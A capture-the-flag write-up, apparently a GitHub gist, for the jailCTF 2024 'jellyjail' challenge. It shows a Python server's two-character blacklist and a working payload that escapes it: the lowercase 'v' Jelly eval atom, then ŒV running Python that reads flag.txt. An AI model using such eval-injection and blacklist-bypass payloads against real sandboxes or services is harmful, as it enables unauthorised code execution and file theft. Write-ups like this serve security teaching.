Skip to content

Instantly share code, notes, and snippets.

@ky28059
Created September 14, 2024 03:34
Show Gist options
  • Save ky28059/e9170fdb1df865a9811ef434c097e781 to your computer and use it in GitHub Desktop.
Save ky28059/e9170fdb1df865a9811ef434c097e781 to your computer and use it in GitHub Desktop.

jailCTF 2024 — jellyjail

how can one golf with jelly if it just explodes when you hit it with a large metal golf club?

nc challs1.pyjail.club 5999

We're given a Python server that looks like this:

#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval

inp = input()[:2]
banned = "0123456789ỌŒƓVС"  # good thing i blocked all ways of getting to python eval !!! yep

if not all([c not in inp for c in banned]):
    print('stop using banned')
    exit()

jelly_eval(inp, [])

The server bans numbers and a few eval atoms, but they seemed to have missed lowercase v:

image

Then, we can send

ɠv

as our payload to read a line from STDIN and evaluate it as Jelly, circumventing their blacklist. Without a blacklist, we can send

“print(open('flag.txt').read())”ŒV

to evaluate

print(open('flag.txt').read())

as Python code and get the flag.

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment